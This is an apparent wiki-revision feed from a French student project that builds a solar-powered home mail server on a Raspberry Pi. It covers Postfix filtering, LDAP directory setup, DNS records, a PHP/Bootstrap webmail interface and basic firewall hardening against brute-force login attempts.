* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25942</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25942"/>
				<updated>2016-02-02T12:14:17Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 13 (14/12/2015) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
